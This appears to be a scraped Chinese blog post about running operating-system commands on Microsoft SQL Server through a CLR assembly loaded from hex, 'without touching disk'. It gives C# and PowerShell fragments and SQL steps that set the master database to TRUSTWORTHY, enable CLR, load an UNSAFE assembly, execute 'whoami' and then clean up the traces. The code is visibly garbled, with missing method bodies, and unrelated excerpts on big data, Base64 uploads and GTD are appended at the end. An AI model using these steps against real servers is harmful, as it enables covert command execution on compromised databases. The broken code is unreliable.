MSSQL CLR 不落地執行

2022-05-05 13:24:10 字數 2694 閱讀 6481

一、mssql clr介紹:

在 mssql 2005 之後的版本中,預設新增了對 clr 的支援,支援.net 框架

二、利用過程

首先建立乙個dll,dll的功能命令執行

using system; using system.data; using system.diagnostics; using system.data.sqltypes; using microsoft.sqlserver.server; using system.threading; using system.runtime.interopservices;

namespace hi.test catch ( exception ex )

}public static void runproc( string proc, string arg )

public static string processarch()

[dllimport( "kernel32.dll" )] static extern intptr virtualalloc( intptr lpstartaddr, uint size, uint flallocationtype, uint flprotect );

} }

本地編譯後生成dll檔案:c:\windows\microsoft.net\framework\v2.0.50727\csc.exe /target:library c:\1.cs

因為要不落地執行,所以要把生成出來的檔案轉成hex,用到powershell轉成hex

$assemblyfile = "

c:\users\hello\desktop\1.dll

"$stringbuilder = new-object -type system.text.stringbuilder

create assembly [my_assembly] authorization [dbo] from `n0x

") | out-null

$filestream = [io.file]::openread($assemblyfile

)while (($byte = $filestream.readbyte()) -gt -1)

`nwith permission_set = unsafe

") | out-null

go") | out-null

") | out-null

create procedure [dbo].[clr_exec] @execcommand nvarchar (4000) as external name [my_assembly].[storedprocedures].[clr_exec];

") | out-null

go") | out-null

") | out-null

exec[dbo].[clr_exec] 'whoami'

") | out-null

go") | out-null

") | out-null

$stringbuilder.tostring() -join "" | out-file d:\2221.txt

利用上面的那段 hex 建立儲存過程,執行系統命令,單句執行。

use msdb;

alter database master set trustworthy on;

exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'clr enabled',1;reconfigure;

create assembly sysinfo from 0x.....   with permission_set=unsafe;

create procedure sysinfo_run_proc(@proc nvarchar(max),@arg nvarchar(max)) as external name sysinfo.[hi.test.sqlclr].runproc;

create function sysinfo_run(@proc nvarchar(max),@arg nvarchar(max)) returns nvarchar(max) as external name sysinfo.[hi.test.sqlclr].run;

select msdb.dbo.sysinfo_run('whoami','/user')

利用完畢之後刪除建立的儲存過程,恢復clr為原始狀態

drop function sysinfo_run;

drop procedure sysinfo_run_proc;

drop assembly sysinfo;

exec sp_configure 'clr enabled',0;

reconfigure with override;

exec sp_configure 'show advanced options',0;

reconfigure with override;

大資料概念只飄在半空不落地,怎麼破解?

大資料概念已經在中國企業界 飄 了好久了,但不得不說,目前面臨的窘境讓人十分尷尬。到目前為止,企業界都還沒有亮眼的實施案例。原因何在?尤其是能源等傳統行業,不是一直都由工程師和科學家主導嗎?這些數字型人才不是一向善於運用精湛的學科能力獲取事實和資料,進而有理有據地得出結論 制定決策嗎?那些連線著新型...

上傳檔案不落地轉Base64字串

本來採用的方式是 前端對做base64處理,後端組裝下直接呼叫第三方介面,然後將結果返回給前端展示。然而聯調過程中,發現前端對轉換base64字串後,大小擴了近一倍,傳輸到後台後,存在識別不準確,資料丟失的情況,字元太多,後端除錯也比較麻煩。更改前後端呼叫方式,採用前端不進行base64處理,使用檔...

GTD中落地執行篇

前面幾篇主要是分享gtd對事情進行 收集 分類 組織 今天主要是想分享 落地執行 先來看乙個案例 案例 來自於 小強公升職記 通過這個案例我們看出 1 當我們通過對事情 收集 歸類 拆分,組織 之後,當我們要去著手去做的時候,發現使不上力。主要原因 1 發現做之前 情緒狀態不好,焦慮緊張 腦中總想趕...